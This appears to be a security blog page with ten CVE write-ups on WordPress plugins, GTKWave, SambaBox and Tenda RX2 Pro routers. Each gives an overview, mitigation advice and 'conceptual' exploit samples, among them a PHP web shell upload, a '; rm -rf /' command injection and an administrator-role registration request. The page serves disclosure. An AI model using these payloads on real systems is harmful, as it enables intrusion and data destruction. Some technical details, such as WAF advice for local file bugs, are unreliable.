Author: Ameeba

CVE-2025-3918: Privilege Escalation Vulnerability in Job Listings Plugin for WordPress
Overview

The Common Vulnerabilities and Exposures (CVE) system has disclosed a critical vulnerability, identified as CVE-2025-3918, that impacts the Job Listings plugin for WordPress. This vulnerability primarily affects versions 0.1 to 0.1.1 of the plugin, and carries a CVSS severity score of 9.8, signifying its high-risk nature. The vulnerability could potentially allow unauthenticated attackers to escalate their privileges to an administrator level, which could lead to system compromise and data leakage. This vulnerability is a significant concern for businesses and individuals that use the affected plugin, as it could allow cybercriminals to gain unauthorized access to sensitive information and control over affected systems.

Vulnerability Summary

CVE ID: CVE-2025-3918
Severity: Critical (9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System Compromise and Data Leakage

Affected Products

Product | Affected Versions

Job Listings for WordPress | 0.1 to 0.1.1

How the Exploit Works

The vulnerability stems from a flaw within the register_action() function of the Job Listings plugin. The function reads the client-supplied $_POST[‘user_role’] and passes it directly to wp_insert_user() without any restrictions to a safe set of roles. This improper authorization allows an attacker to manipulate the user role value to elevate their privileges from an unauthenticated user to an administrator. The elevated privileges can then be used to perform malicious activities such as altering site content, installing malicious plugins, or stealing sensitive information.

Conceptual Example Code

The following is a conceptual example of a HTTP POST request an attacker might send to exploit this vulnerability:
```
POST /wp-admin/admin-ajax.php?action=register HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
user_login=attacker&user_email=attacker@example.com&user_role=administrator
```
In this example, the attacker is attempting to register a new account with administrator privileges. If successful, the attacker would have full control over the WordPress site.

Mitigation Guidance

Users of the affected plugin are advised to apply the vendor patch as soon as possible. If unable to do so immediately, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These tools can help detect and prevent attempts to exploit this vulnerability. Additionally, it’s also recommended to regularly update all software and plugins to their latest versions to prevent exploitation of known vulnerabilities.
May 9, 2025
CVE-2023-37446: Arbitrary Code Execution Vulnerability in GTKWave 3.3.115
Overview

This blog post examines a significant vulnerability, CVE-2023-37446, which affects GTKWave 3.3.115, widely used software for viewing waveform data produced by digital logic simulators. The vulnerability, which lies in the VCD var definition section of GTKWave, allows for the execution of arbitrary code, posing a severe security threat. This matter is of great concern as it can potentially lead to system compromise or data leakage if a malicious .vcd file is opened, emphasizing the crucial need for immediate mitigation.

Vulnerability Summary

CVE ID: CVE-2023-37446
Severity: High (7.8 CVSS Score)
Attack Vector: Local
Privileges Required: User level
User Interaction: Required
Impact: System compromise, Data leakage

Affected Products

Product | Affected Versions

GTKWave | 3.3.115

How the Exploit Works

The exploit takes advantage of multiple out-of-bounds read vulnerabilities in the VCD var definition section functionality of GTKWave 3.3.115. By crafting a malicious .vcd file, an attacker can cause arbitrary code execution. This vulnerability specifically concerns the out-of-bounds write when triggered via the vcd2lxt2 conversion utility. The victim would need to open the malicious file to trigger these vulnerabilities, potentially leading to system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This is not actual code, but rather, it serves to illustrate the general idea:
```
$ gtkwave malicious_file.vcd
```
In the example above, ‘malicious_file.vcd’ is a specially crafted VCD file that contains the exploit code. When this file is opened using GTKWave, the exploit code is executed, leading to arbitrary code execution.

Mitigation

To mitigate this vulnerability, users are advised to apply the vendor patch as soon as it becomes available. As a temporary measure, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could aid in preventing exploitation. However, these methods cannot entirely eliminate the vulnerability, and proper patching is the most effective form of protection.
May 9, 2025
CVE-2023-37445: Critical Out-of-Bounds Read Vulnerabilities in GTKWave
Overview

This blog post explores a critical vulnerability identified as CVE-2023-37445, which affects the VCD var definition section functionality in GTKWave 3.3.115. The software’s users are susceptible to this vulnerability, which can lead to devastating consequences such as arbitrary code execution. The CVE-2023-37445 vulnerability underscores the importance of diligent software development and robust cybersecurity practices, given its potential to compromise systems and leak sensitive data if successfully exploited.

Vulnerability Summary

CVE ID: CVE-2023-37445
Severity: High (7.8 CVSS Score)
Attack Vector: Local
Privileges Required: None
User Interaction: Required
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

GTKWave | 3.3.115

How the Exploit Works

The vulnerability arises from multiple out-of-bounds read vulnerabilities existing in the VCD var definition section of GTKWave. An attacker can craft a malicious .vcd file containing specific codes that exploit these vulnerabilities. Upon opening this file, the victim’s system triggers an out-of-bounds write operation via the vcd2vzt conversion utility, which can lead to arbitrary code execution.

Conceptual Example Code

Consider the following conceptual code block:
```
# A bash script to generate a malicious .vcd file
echo 'Exploit code here...' > exploit.vcd
# A command to convert .vcd to .vzt using vcd2vzt utility
vcd2vzt exploit.vcd exploit.vzt
```
In this example, the attacker first generates a malicious .vcd file containing the exploitation code. Next, the attacker uses the vcd2vzt utility to convert the .vcd file to .vzt format. When the victim opens the resulting .vzt file using GTKWave, the out-of-bounds write operation is triggered, leading to the execution of the attacker’s arbitrary code.

Mitigation Guidance

Users affected by this vulnerability should consider applying the vendor patch. If the patch is not available, solutions such as using Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) could serve as temporary mitigation against potential attacks exploiting this vulnerability. Always remember to keep your software up-to-date as a general principle for maintaining cybersecurity hygiene.
May 9, 2025
CVE-2023-37444: Out-of-Bounds Read Vulnerabilities in GTKWave 3.3.115
Overview

The Common Vulnerabilities and Exposures (CVE) system has issued an alert for a newly identified vulnerability, CVE-2023-37444, affecting GTKWave 3.3.115. This vulnerability pertains to multiple out-of-bounds read vulnerabilities found in the VCD var definition section functionality of the GTKWave software. These vulnerabilities pose significant risks, as they can lead to arbitrary code execution, consequently compromising systems and potentially leading to data leakage.
GTKWave is extensively used for viewing waveform data produced by digital logic simulators, and this vulnerability could impact a wide range of users, from individual developers to large organizations. It is essential to understand and mitigate this vulnerability to maintain the integrity and security of systems running GTKWave.

Vulnerability Summary

CVE ID: CVE-2023-37444
Severity: High (7.8 CVSS score)
Attack Vector: Local
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

GTKWave | 3.3.115

How the Exploit Works

The vulnerability arises from the improper handling of specially crafted .vcd files in the VCD var definition section functionality of GTKWave. If a victim unknowingly opens a malicious .vcd file via the GUI’s interactive VCD parsing code, the out-of-bounds read vulnerabilities can be triggered, leading to arbitrary code execution.

Conceptual Example Code

While the specifics of the exploit are not publicly disclosed to prevent misuse, a conceptual scenario might involve a malicious actor crafting a .vcd file with specific parameters that cause an overflow when read by the GTKWave software. This could be akin to the following pseudocode:
```
# pseudo code for creating a malicious .vcd file
with open('malicious.vcd', 'w') as file:
file.write("$var reg 64 # overflow_size # overflow_data $end\n")
```
This pseudocode represents the creation of a .vcd file with an overflow_size that exceeds the expected size, leading to the out-of-bounds read vulnerability.

Mitigation

Users are advised to apply the patch provided by the vendor as soon as possible. In the interim, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure to detect and prevent any attempted exploits of this vulnerability.
May 9, 2025
CVE-2025-2421: Critical Code Injection Vulnerability in Profelis Informatics SambaBox
Overview

In the ever-evolving landscape of cybersecurity, a new critical vulnerability has been discovered. Identified as CVE-2025-2421, it pertains to Improper Control of Generation of Code or ‘Code Injection’ vulnerability in Profelis Informatics SambaBox. This vulnerability allows potential threat actors to inject malicious code into systems running on affected versions of SambaBox. Given the widespread use of SambaBox in IT infrastructures, this vulnerability presents a significant risk to data integrity and system security. Mitigating this threat is of utmost importance to prevent potential system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-2421
Severity: Critical (8.2 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Profelis Informatics SambaBox | before 5.1

How the Exploit Works

The exploit takes advantage of the “Improper Control of Generation of Code” within SambaBox. In particular, the vulnerability allows a malicious actor to inject malicious code into the system. This could be achieved by sending specially crafted requests to the susceptible system. Once the malicious code is injected, it can be executed within the context of the application, leading to unauthorized access or even complete control over the system.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This example represents a simple HTTP request with a malicious payload that could be used for code injection:
```
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "<script>/*malicious code*/</script>" }
```
In the example above, the “malicious_payload” is a script containing the malicious code. Once received by the system, the malicious code injects itself into the application’s process and executes in the context of the application.
Please note, this is a simplified and conceptual representation of how the attack may occur. In reality, the actual malicious code and attack method could be much more complex and sophisticated, depending on the attacker’s skills and the specifics of the vulnerable system.

Mitigation Guidance

Profelis Informatics has released a patch to address this vulnerability. Users are urged to apply the vendor patch as soon as possible to mitigate the risk. For temporary mitigation, users can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS), which can provide some level of protection by detecting and blocking malicious activities. However, these measures should be seen as a stopgap, and the vendor patch should be applied as the ultimate solution.
May 9, 2025
CVE-2025-46634: Critical Cleartext Transmission of Sensitive Information Vulnerability in Tenda RX2 Pro
Overview

In this post, we are going to delve into the details of a serious cybersecurity vulnerability, CVE-2025-46634, affecting users of the Tenda RX2 Pro web management portal. This vulnerability can potentially allow an unauthenticated attacker to gain access to the web management portal by collecting credentials from observed or collected traffic. Despite implementing encryption, the system transmits the hash of users’ passwords in cleartext, a loophole that can be exploited by malicious entities. This vulnerability matters because it can lead to a full-scale system compromise or data leakage, posing a significant risk to both individual users and organizations relying on this portal.

Vulnerability Summary

CVE ID: CVE-2025-46634
Severity: High (CVSS: 8.2)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Tenda RX2 Pro | 16.03.30.14

How the Exploit Works

The vulnerability lies in the Tenda RX2 Pro web management portal’s handling of user authentication. Despite implementing encryption, the system initially transmits the hash of the user’s password in cleartext. An unauthenticated attacker can observe or collect this cleartext traffic to retrieve the password hash. Since the hash is transmitted in cleartext, it can be easily collected by malicious entities. This hash can then be replayed to authenticate to the web management portal, allowing the attacker access to the system.

Conceptual Example Code

Here’s a conceptual example of how an attacker might exploit this vulnerability:
```
GET /login HTTP/1.1
Host: vulnerable-portal.example.com
User-Agent: Any standard web browser
Response:
HTTP/1.1 200 OK
Server: vulnerable-portal
Content-Type: text/html
Set-Cookie: JSESSIONID=1234567890; path=/; HttpOnly
Password-Hash: e99a18c428cb38d5f260853678922e03
```
In this example, the attacker observes the traffic and collects the `Password-Hash` from the response headers. This hash can then be used to replay the authentication process, granting the attacker access to the web management portal.

Mitigation Guidance

Users of the affected versions of Tenda RX2 Pro are advised to apply the vendor-supplied patch as soon as possible. As a temporary mitigation measure, users can employ a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to monitor, detect and prevent any suspicious activities. However, these are not long-term solutions and users should update their systems to the patched versions at the earliest.
May 9, 2025
CVE-2025-46633: Cleartext Transmission of Sensitive Information in Tenda RX2 Pro
Overview

This blog post provides an in-depth analysis of the CVE-2025-46633 vulnerability, a significant cybersecurity threat affecting the Tenda RX2 Pro 16.03.30.14 web management portal. This vulnerability involves the cleartext transmission of sensitive information, specifically the symmetric AES key that is essential for decrypting traffic between the client and server. This issue poses a serious risk to all users of the Tenda RX2 Pro system because an attacker could potentially decrypt traffic and gain unauthorized access to sensitive data.

Vulnerability Summary

CVE ID: CVE-2025-46633
Severity: High (CVSS score 8.2)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and sensitive data leakage

Affected Products

Product | Affected Versions

Tenda RX2 Pro | 16.03.30.14

How the Exploit Works

The exploit leverages the cleartext transmission of the symmetric AES key during successful authentication. The IV, which is always “EU5H62G9ICGRNI43”, can be captured from the collected and/or observed traffic. This allows an attacker to decrypt the traffic between the client and server, potentially leading to system compromise and data leakage.

Conceptual Example Code

The vulnerability could potentially be exploited through a simple network sniffing attack. Below is a simplified representation of how an attacker might capture the cleartext AES key in transit:
```
# Listen on the network interface for packets involving the targeted IP
tcpdump -i eth0 'host targetIP' -w capture.pcap
# Use a tool like Wireshark to analyze the capture
wireshark capture.pcap
# Look for packets containing the AES key in cleartext following successful authentication
```
Please note that this is a conceptual example and does not represent a real-world exploit.

Mitigation and Recommendations

The most direct mitigation for this vulnerability is to apply the vendor patch once it becomes available. However, as a temporary measure, you can also use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor and block suspicious traffic. Regular patching and updating of systems as well as monitoring network traffic for anomalies are also recommended best practices.
In conclusion, the CVE-2025-46633 vulnerability represents a significant security threat to users of the affected product. It is highly recommended to apply the appropriate mitigations as soon as possible to protect your systems and data.
May 9, 2025
CVE-2025-46627: Weak Credentials Vulnerability in Tenda RX2 Pro
Overview

The Common Vulnerabilities and Exposures (CVE) system has identified a flaw, known as CVE-2025-46627, that presents a significant risk to users of the Tenda RX2 Pro with version 16.03.30.14. This flaw arises from the use of weak credentials, which can potentially allow an unauthenticated attacker to gain access to the telnet service. The significance of this vulnerability lies in its potential to compromise the system or lead to data leakage, thereby posing a substantial threat to the privacy and security of users.
This vulnerability is specifically problematic because the root password, which an attacker may calculate, is based on easily obtainable device information – the last two digits or octets of the MAC address. As such, anyone with access to this information could potentially exploit this vulnerability, compromising user data and system integrity.

Vulnerability Summary

CVE ID: CVE-2025-46627
Severity: High (8.2 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Tenda RX2 Pro | 16.03.30.14

How the Exploit Works

The vulnerability arises from the use of a weak authentication mechanism in the Tenda RX2 Pro. Specifically, the device relies on the last two digits or octets of the MAC address to generate the root password. An attacker can easily obtain this information, calculate the root password, and authenticate to the telnet service. Since this does not require any user interaction or special privileges, it further escalates the risk posed by this vulnerability.

Conceptual Example Code

An attacker could potentially exploit this vulnerability using a simple shell command like the one below:
```
telnet target_IP
Trying target_IP...
Connected to target_IP.
Escape character is '^]'.
login: root
password: {calculated_based_on_MAC_address}
# Successful login
```
Here, the attacker simply needs to replace “target_IP” with the IP address of the target device and “{calculated_based_on_MAC_address}” with the password calculated based on the MAC address. Once the attacker has successfully logged in, they gain root access and can perform any action on the device, leading to a potential system compromise and data leakage.
As a measure to address this vulnerability, users are advised to apply the vendor patch when it becomes available or use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure.
May 9, 2025
CVE-2024-13418: Critical Arbitrary File Upload Vulnerability in Multiple WordPress Plugins and Themes
Overview

In today’s discussion, we focus on a critical cybersecurity vulnerability, CVE-2024-13418, that affects multiple plugins and themes for WordPress, a popular content management system (CMS) widely utilized by many websites globally. This vulnerability is particularly severe as it allows an attacker with merely Subscriber-level access to upload arbitrary files, potentially leading to remote code execution. The gravity of this issue lies in the fact that it impacts the integrity and availability of the system, potentially leading to unauthorized system access and data leakage.

Vulnerability Summary

CVE ID: CVE-2024-13418
Severity: Critical (8.8)
Attack Vector: Network
Privileges Required: Low (Subscriber-level Access)
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

WordPress Plugins | Various versions
WordPress Themes | Various versions

How the Exploit Works

The vulnerability lies in the ajaxUploadFonts() function, which does not have a proper capability check. An authenticated attacker with Subscriber-level access can exploit this to upload arbitrary files to the targeted system. These files could contain malicious scripts or codes that, when executed, can lead to full system compromise. This allows the attacker to execute arbitrary commands, modify system settings, exfiltrate sensitive data, or deploy further malware onto the system.

Conceptual Example Code

Here is a conceptual example of how an attacker might exploit this vulnerability:
```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="action"
upload-font
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="font"; filename="malicious.php"
Content-Type: application/php
<?php echo shell_exec($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="fontname"
malicious
------WebKitFormBoundary7MA4YWxkTrZu0gW--
```
In this example, the attacker uses the “upload-font” action to upload a malicious PHP file. Once uploaded, this script can be used to execute arbitrary shell commands on the server.

Countermeasures

The best mitigation strategy is to apply the vendor patch as soon as it becomes available. If it’s not immediately possible, a temporary mitigation can be implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor and block malicious requests. Regularly updating all WordPress plugins and themes to the latest versions can also help protect against known vulnerabilities.
May 9, 2025
CVE-2025-46625: Root Shell Access Exploit in Tenda RX2 Pro Router
Overview

The CVE-2025-46625 vulnerability poses a significant risk to owners of the Tenda RX2 Pro routers, specifically those using the 16.03.30.14 version. The vulnerability, which lies in the ‘setLanCfg’ API endpoint in httpd, can be exploited by remote attackers who have been authorized to the web management portal.
The gravity of this vulnerability is significant as it allows an attacker to gain root shell access by sending a crafted web request to the device. This could potentially lead to system compromise or data leakage, posing a significant risk to user privacy and network security.

Vulnerability Summary

CVE ID: CVE-2025-46625
Severity: High (8.8 CVSS Severity Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Tenda RX2 Pro | 16.03.30.14

How the Exploit Works

The exploit works by taking advantage of a lack of input validation/sanitization in the ‘setLanCfg’ API endpoint in httpd. An attacker who has access to the web management portal of the Tenda RX2 Pro router sends a specially crafted web request to the device. This request takes advantage of the API endpoint’s lack of input validation to inject commands directly into the device’s configuration.
Because the injected commands are saved in the device’s configuration, they persist even after the device is restarted. This allows the attacker to maintain root shell access to the device, potentially leading to a complete system compromise.

Conceptual Example Code

Here’s an example of a malicious HTTP request an attacker might send to exploit this vulnerability:
```
POST /api/setLanCfg HTTP/1.1
Host: target.router.com
Content-Type: application/json
{
"lanCfg": "; rm -rf /; #"
}
```
In this example, the attacker sends an HTTP POST request to the ‘setLanCfg’ API endpoint. The attacker uses the lack of input validation to inject a command (`rm -rf /; #`) into the device’s configuration. This command would, in theory, delete all files on the device, illustrating the severity of the potential impact of this vulnerability.
May 9, 2025